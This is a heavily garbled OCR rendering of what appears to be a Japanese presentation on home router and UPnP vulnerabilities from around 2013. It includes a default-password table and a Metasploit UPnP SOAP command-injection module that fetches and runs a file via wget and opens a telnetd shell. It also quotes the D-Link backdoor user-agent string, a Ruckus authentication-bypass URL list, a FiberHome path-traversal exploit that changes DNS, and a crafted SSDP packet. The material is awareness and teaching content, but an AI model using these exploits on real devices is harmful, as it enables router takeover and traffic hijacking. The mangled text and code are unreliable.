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2000 2002 2004 2006 2008 2010 2012 2013
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7 A= VTR MR ERIALL . , bR : Android REZS
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ik - N
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éﬁ ® EA CXF ) @ EBT75 ® E=XR
O 11— A
Ly O fitrae O £#EHM O EAEIREE O BEBRTI O 1AFohin= o) ;3-9,—-4ng O AEXSHKT
| DoS/DDoS %t ir2004~
~ NWT 1 A ZFEE
LEO)%&& Cyber Clean Center 2006~2011 N ||||| g
RDB 2009~2012

O IRERAD IR IMES AR MLZW [RILVDTT) ZERAT DHEE
O FHE (CR OB D WebT -+ b5, 1—HPC (/)14 R) (CNILD T 7 ZBE=EEA

e UL >v h— MBI LEEERBHNDOBHKETEE . @QDDoSKER EDMRR - IhETR(CKE!
OEEKE - BRI TER - EREERERBBIRA\DT T ANBHI(C
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P ) VR RACKDKRBERINETE = ADLEIEHE G E) (HOpJapan) ICK

(JiOpSONY) IC & D WebRIEEL - 2UE, BEELE 38 Spamhause

1B ABOBEA BB DNSUDJDUDY 3 YHRECKDEKX
1 300GbpsBDAIHEDOSHEE
b - T~118 RBHIR 98 AHMEIEWebT A L 3B~ UR FEKEOSH
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(HER)
Http: /v, routerpass RouterPasswords
words.com/
Select Router Make: I D-LINK |~
BB)L—% - IPAXSE
Manufacturer Model Protocol Username Password
D-LINK DSL-GREAT Rev. A1 HTTP admin admin
D-LINK HUBS/SWITCHES TELMET O-Link D-Link
D-LINK DI-704 Rev. REV A MULTI (none) admin
D-LINK DI-804 Rev. V2.03 MULTI admin (none)
D-LINK DWL 900AF MULTI (none) public
D-LINK DI-614+ HTTF user (none)
D-LINK DWL-614+ Rev. REVA REV B HTTP admin (nonge)
D-LINK D-704F Rev. REV B MULTI admin (naone)
D-LINK DI-604 Rev. REVAREVEBREVCREVE MLILTI admin (nonge)
D-LINK DWL-614+ Rev. 2.03 HTTP admin (none)
D-LINK D-704P MULTI admin admin
'\1 D-LINK DWVL-900+ HTTP admin (none)
— D-LINK DI-704 MULTI nfa admin
D-LINK DI-604 Rev. 1.6268+ HTTF admin (none)

NWF /)1 ADZ < (&, ¥ =1 7)LaRBEDRHEEEDIERN S " admin"EDRI5712) \X J— RHIIEREE E L TITh
NTULBH., CINSEIHEABZIMETH DREE (CRENHD D (FH. TETEBBIL—4FDY =1 77)LA
RouterPasswords.com DY hEEICK D TWeb2XFHSESNTWB T ENLSLEs,. BE=FICE D> TIEEICEBRICAIE
O04>TERINRERD>TLNS,




NWZ /N ZDAESSMHEEHIG (Zsecon

RIXENS—>: AV RA>2TO0S3>

UPNPICFIFHENBSOAP > D 1 —ADAEESHEICEE LT, metasploitd Exploit 11— RZEE&ZE (CHEs51EDHIZRT .
L= UTEITURWVWINYY RXFHZIHEA UIESOAPUOI I A MERET D ET. REEHNEEDIREE
=B UTERFIFTTEBR(IFHRFEL. I\ T R7ERRE)IEE (CEIRIRIRETH D,

2013-07-23 8§ - &

cmd = "Jusr/binfuget #{service_url} -0 /tmp/#{filenamel}; chmod 777 /tmp/#{filename}; /tmp/#{filename}"

type = "add"
res = request{cmd, type) ., 0

e — b./\w 2 R P (telnet) €$IE1’FEZ§'51§H : .}a IW—=DRICARED 7L ILESD>YO—RIDIVY RF
telnetport = rand(65535 W < B typa\

vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetportl}") ——Lwl_:_iff'ip cgi” \\ SOAPEESDIEKRY — X BFR

cmd = "telnetd -p #{telnetport} data_cmd = <'—"x'mL fer*s;on VUL.Ley et

type = "add" data_cmd <<[|"<SOAPTEILY: B velope xmlns:SOAP-ENV=\"http://schemas.xmlscap.org/scap/envelope’\” SOAP-ENVE S

data_cmd << "<S0AP- EIN\BQd'-fL\
~

\
if type == fadd" Sen

KIQEQEQ(J\ SOAP/]/ >971_Z(:<J:5 vprint_st@tus({"#{rhost}:#{ r'por\}\ adding portmapping™)
AddPortMapplng%ﬁg%$Uﬁﬁ L/j::EOD(:Td:j soapactiof = "urn:schemas-upnp- D}',g\\.‘ser' vice:WANIPConnection:1#AddPortMapping”
TWhd, Gatacnd

"<m:AddPortMapping xmlrs:m=%\"urn:schemas- upnp-org: service:WANIPConnection:1y"»"
"<NewPort l'applngDesgrlh Dn>#{|lneu pDr‘ mapplng descr}</NewPortMappingDescription>”
data_cmd
data_cmd

"<MewlLeaseDuration gDuration>"
"<NewInternalClieng> #{cmd JNewInternalClient>"
data_cmd

<
L4
<
L4
" bled
SOAP/]/ /971 X(LJ:%UPnP*AZ %0)% data_cmd 2 z:j:tjng_erﬁaig;rgﬁg{.glﬁuix
<
:
L4

port}</NewExternalPort>"

LE data_cmd "<MewRemoteHost»</MNewRemoteHo
i}J{/IE *%% ﬁ &) Z % —gﬂ(’ ) data_cmd "<NewProtocol>TCP</NewProtocol
(g:( AE ““:6 = ) ) I/ %ﬁ data_cmd "<NewInternalPort>#{@new_interna InternalPort>"

[CHAFT BEDRN. SSDPIR— MA—T | jimserems [« mermbaaiortiomsing-
> ERDTHEN. HDSOAPA>HTT—X Tl L, o] ab®RSBIVY FESOAPESICTAE
\\/\ —_ \\y — = soapactiof = "urn:schemas-upnp-org:service:WANIPLONNEeCtion: IRDeletePortMapping
b AEﬁénEL\5T} \/rxb yl/\tb\j%% data_cmd f< "<m:DeletePortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
— — - _ pping pnp g
(3:\ K{ﬁ“(;mj&jfd}ﬁﬂﬁ’il&ﬁ&ﬁﬁuéﬁ gata_cmg < "<HeuF'r‘itocol>'CP<,f'HeuPPotocDl><HeuEx—_er‘nalF‘Dr'—_>#{@neu_ex—_er‘nal_por‘t}<,f'|'-leuEx—_er‘nalF'or*: <
ata_cm < "</m:DeletePortMapping>”

BURIEEPLTVNBE=X 3. ens

data_cmd <<["</SOAP-ENV:Body>"
data_cmd <<||"</SOAP-ENV:Envelope:>"

(HER) http://www.exploit-db.com/exploits/27044/
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Wlibupnp/\Y 2 7 A —/\DO0—BSSHICKDERDIVY REaRTNDIREM

RAPID7 DRSS (%) [CXKDEL libupnp (Intel/Portable SDK for UPNP Devices) ®/N—Y 3>
1618&@?W®§WﬁﬁbFUWP¥“ 6. REICHIT KDORMBSHEN DD, 7@@ﬁ§f
RICHESSHEDDD/IN—Y 3 VU EEBE UL SEBMES N ZHFRE U CUL\ D EZ MR LI (1Bl /IR ikss

(HBH)RAPID7 : Security Flaws in Universal Plug and Play: Unplug, Don ‘t Play.

SSDP parser in the portable SDK for UPNP Devices before 1.6.18 allows
remote attackers to execute arbitrary code via a UDP packet with a

crafted string TEDOKSICHISNIESSDPU VIR MES&EXIE
SSDP parser in the portable SDK for UPnP Devices before 1.6.18 allows FRCEICKO>T, WBBRERNDIVY RFEETS
remote attackers to execute arbitrary code via a long UDN (aka uuid) field BARACTENTEIRENSD,

within a string that contains a = (colon colon) in a UDP packet.

SSDP parser in the portable SDK for UPNP Devices before 1.6.18 allows

remote attackers to execute arbitrary code via a long UDN (aka M-SEARCH * HTTP/1.1

upnp:rootdevice) field in a UDP packet HOST: 239.255.255.250:1900

SSDP parser in the portable SDK for UPNP Devices 1.3.1 allows remote ST: uuid:schemas:device:AAAA[...]JAAAA:anything
attackers to execute arbitrary code via a long UDN (aka device) field in a MAN: "ssdo:di «

UDP packet. . ssap.discover

SSDP parser in the portable SDK for UPNP Devices 1.3.1 allows remote MX: 3

attackers to execute arbitrary code via a long DeviceType (aka urn) field in

a UDP packet.

SSDP parser in the portable SDK for UPNP Devices 1.3.1 allows remote
attackers to execute arbitrary code via a long UDN (aka uuid) field within a
string that lacks a : (colon colon) in a UDP packet.

SSDP parser in the portable SDK for UPNP Devices 1.3.1 allows remote
attackers to execute arbitrary code via a long ServiceType (aka urn
service) field in a UDP packet.

SSDP parser in the portable SDK for UPNP Devices 1.3.1 allows remote
attackers to execute arbitrary code via a long DeviceType (aka urn device)
field in a UDP packet.




Japan

mIRE)\Y—>

B D-Link)L—7(CH1FD 01— RICBHAFENIZINY U RFP DEH
SANS Internet Storm Center(ISC)H'10/14(CREKRUEIRE(CKD & D-LinkfHEE)L—FDEDHDEFTILICH LT,
1 —HER5E =[Ok U CTWebEIBEHE (C 7T AREE EIRBMI/ENER TN TLD E0D,

Community Forums: Diary Discussions

Old D-Link routers with coded backdoor

Quoting Diary:

A vulnerability appeared in old d-link routers which allows the attacker to gain admin privileges in the
router. The following models are affected:

+ DIR-100

« DI-524

= DI-524UP

* DI-6045

= DI-604UP

* DI-604+

+ TM-G5240

* DIR-615
If your user agent is set to xm/fset_roodkcableoj?8840ybtide, you will be able to view and change

settings in the device. As of today, D-Link has not posted a solution. If you have any wireless router
matching the vulnerable models, you need to:

(H88) https://isc.sans.edu/forums/diary/Old+D-Link+routers+with+coded+backdoor/16802

WEDETS, KSFECHLLUET 7 —ADI 7 (FRABRSNTE ST EROES(IEIRAKRD 7 IO AHIRICEKD
CRIBDEEZITD Z EMFUENT SN TLD,
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AW (AT /A XD/ \WwHF>TH 1 ~ [/DEV/TTYS0] TRESINZEBDT. HTTPDUser-Agent\w4
(C"xmlset_roodkcableoj28840ybtide” & L\ D4FIRIANXFHN ZETE L CTWebiEfit 9D & T 1—HID//(X
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J— ROFREHE U (CEEWebBEEHNFR RSN D ED,

- D-Link&EJL—45 DEREH
SREHRL (COJA DS aIEEICiR > TUE S,

AirPlus G

802.11g/2.4GHz Wireless Router

DI-524UP . -
| | Home Advanced  Tools Status Help
®© ,
]
F
Wizard : :
The DI-524UP is a Wireless Broadband Router ideal for home networking and small D-Llnki)b_awj 7 _AUI 7® J
business networking. The Setup Wizard will guide you to configure the DI-524UP S A= ~ )’ =
r -
Wircless to connect to your ISP [Internet Service Provider). The DI-524UP"s easy setup will } \ ZI g /— U /0 wao
allow you to have Internet access within minutes. Please follow the setup wizard
stap by step to configure the DI-524UP.
——

int =lpha suth chseck (struct htip regusst ¢ *regusst)
(Run wizara ) {

if{strstr({reguest—->url, "graphics/") ||

strstr({request—->url, "public/") ||

stromp (reguest—>user =agent, "xmlsst roodkcablsomtids"j == 0)

recurn avrx ox, | BN'H5HEO &"edit by 04882 joel backdoor” &7d> TSI &
; N MSARLE(E"joel backdoor” EMFE(ENTLD

Accessing the admin page of 2 DI-524UP

('dj 1) http://www.ruckuswireless.com/products/zoneflex-indoor/2942

DX DIREREE) A ) CREBEN TR SN TVBRIEBR(ZEMNT/ED TULVRWLWD, —E0ER T THR&ICKDT/I\J
Al . MfIhUSOESHBRAEZEELUZED] FEHElsNTLS,
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m EIELANR G Zoneflex DFRSEMIEEAESS 4
JPCERT/CCOIRE(ICLKD E. EER LAN PO ARA> b RETHD Ruckus Wireless Zoneflex —EBDET)LIC
DU\ TSN OB SN D REES N FE R =1/z &£ LYS (JPCERT/CC Weekly Report 2013-10-175)
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Japan

CWE-592: Authentication Bypass Issues

Ruckus Wireless Zoneflex 2942 Wireless Access Point wversion
9.6.0.0.267 contains an authentication bypass vulnerability. A local
unauthenticated attacker may attempt to login with any credentials
and after receiving the authentication failure message, the user can
remove the /legin.aze portion of the URI to bypass the login page.
The attacker will not be able to browse to the other configuration
pages of the device via the graphical user interface, but they can
then manually edit the URI to gain access to the following pages:

fconfigurationfwireless asp

feconfigurationd local_network. asp
Foonfigurationdinternet. azp

feconfigurationddevice. asp

fmaintenancefupgrade. azp e
fmaintenancedreboot. asp (Hga)

S I http://www.ruckuswireless.com/prod
(H88) US-CERT Recently Published Vulnerability Notes \ ucts/zoneflex-indoor/2942

IEULKERBEESNTULWVRWI—HYTH D> TH. FREEKRBDHD & (C URI ZiEiERSE L CWebBEIEZMA< Z&T.
/configuration/device.asp F/L—FDEBBEHEZRAVNCUEDIZENTEDELD,
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SREEELEFDREIIEZFIAA L. HTTPU UL X MEEICEKD TDNSH—/\DREEZIRZ - )L —SIBikEh o] gE/pl%=
~9. UTOEHREIMESSENFT A & TEXPLOIT DATABASE] TARENTULVSmetasploitd Exploitd— R Tdh B,
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| 2013-09-22

Exploit Title: Directory Path Traversal FiberHome Modem Router HG-118 / Remote Change DNS Ser
Date: 22/89/2813

Exploit Author: Javier Perez - javier@thecenutrios.com - @the_s4int

Vendor Homepage: http://hk.fiberhomegroup.com/

Version: HG11® BH V1.6

HHHHHE

# PoC: Remote Change DNS Servers

# Example file "shadow": http://<public_ip>:8e8@/cgi-bin/webproc?getpage=../../../ ../ ../ ../ .. /.
import urllib | modificar/t5 % — S [CEBODNSY —/\P kU2 &#EETS |
import urllib2 r

ip = raw_input ("Enter Public IP: ") LANHostConfigManagement . .DNSServers="+dnsl+ %2C +dns2+"'&
dnsl = raw_ 'npu+ ("Enter DHS1: ™)

dns2 = raw npu+ " Enter DHS2: ™)

url = "http: ff +ip+':8000/cgi-bin/webproc?getpage=html/index.html&var:menu=setup&var: e=lan’
user_agent = 'Mozilla/4.® (compatible; MSIE 5.5; Windows NT)'

modificar = '%3AInternetGatewayDevice.LANDevice.l.X TWSZ-COM_ProxyArp=0&%3AInternetGatewayDevic
headers = { 'User-Agent' : 'Mozilla/5.@ (Windows NT 6.1) ApplelebKit/537.11 (KHTML, like Gecko)

req = urllib2.Request(url, modificar, headers)

response = urllib2.urlopen(req) ODNSEHEELDTE:--

url = "http:// '+ip+':8080/cgi-bin/webproc?getpage=html/index.html&var:menu=maintenance&var:page
user_agent = 'Mozilla/4.® (compatible; MSIE 5.5; Windows NT)'

modificar = 'reboot=Reboot&obj-action=reboot&var#“3anoredirect=1&var#%3Amenu=maintenance&vari3Apa
headers = { '"User-Agent’ : 'Mozilla/5.@ (Windows NT 6.1) ApplelebKit/537.11 (KHTML, like Gecko)

req = urllib2.Request(url, modificar, headers) .

response = urllib2.urlopen(req) _ .

the page = response.read() ®)l— Y= i)

(HE) http://www.exploit-db.com/exploits/28450/
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=?wml| version="1.0" 7=
- <root xmins="urn:schemas-upnp-org:device-1-0">
- «<specVersion=
«<major=1</major=
<minor=0</minor>
</specWersion=
<|RLBase>http:/ /192.168.2.1:52881</URLBaze>
- =device=
<deviceType=urn:schemas-wifialliance-org:device:WFADevice:1</d
=friendlyName>=Wireless Router</friendlyName=
«<manufacturer /=
<manufacturerUrL /=
<modelDescription>=Wireless Router</modelDescription=
<modelName=RTLBxoc=/ modelName=
<modelNumber>EV-2009-02-06</modelNumber=
<=modelURL />
<serialNumber=123456789012347 </serialNumber=
<UDN>uuid:63041253-1019-2006-1228-00018e5f63b0</UDN-
[ =] <UPC>112233445566=/UPC>

- =servicelist=
- & P P - <services
Descrlptlon =serviceType=urn:schemas-wifialliance-org:service:WF i [v
7 71/)[/ «<serviceld=urn:wifialliance-org:serviceld:WFAWLANCo f5
J «SCPDURL=fsimplecfgservice.xml</SCPDURL>
g )

<controlURL= fupnp/control/ WFAWLANConfigl=/contro
<eventSubURL= fupnp/event/WFAWLANConfigl</even =
<=/service=
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=?wml version="1.0" ?=
- <scpd xmins="urn:schemas-upnp-org:service-1-0"=
- =specVersion=
<major=1</major=
<minor=0</minor=
</specVersion>=
- <actionList=
- <action>
<zname=GetDeviceInfo</name=
- zargumentlist=
H <argument>
<=name>NewDeviceInfo</name>
=direction=out=/direction=
<relatedStateVariable = DeviceInfo</relatedStateVvariable=
<fargument=
<fargumentList=
=faction>
- <action>
<name=PutMessage=/name=
- <argumentList=
- =argument=
«<name=NewInMessage</nams=>
<direction=in</direction>
<relatedStateVariable>InMessage</relatedStateVariable>
<fargument=
- =argument=
<name=NewOutMessage</name=
<direction=out</direction=
«relatedStateVariable =OutMessage</relatedStateVariable =
<fargument=
<fargumentList=
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i Location: http://192.168.2.1:52881/simplecfg.xml
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SSDP | This XML file does not appear to have any style information associated with it.

v <root xmlns?”urn:Schemas—upnp—org:device—1—O">
v<spec¥er8|on>
<major>1</major>

- — <minor>0</minor>
Description </speciersion>
271)L <URLBase>http://192.168.2.1:52881</URLBase>

v {devicer
oy o <deviceTvperurn:schemas-wifialliance-org:device: WFaDevice: 1</ deviceTvpe>
UPnPxi s <friendlvName>Wireless Router</friendlvMName>
<manufacturer />
<manufacturerURL/ >

<mode | Description>Wireless Router </mode |Description>
<mode [MName »RTLBxxxx < /mode [ MName >

<mode [Number »EY-2009-02-06</mode | Number >

<mode [URL/ >
<serialMumber>123456789012347 < ser ia |Number >
<UDM>uuid:B3041253-1019-2006-17228-00018e5f63b0<,/U0N>
<UPC>1122334450566</1UPC>
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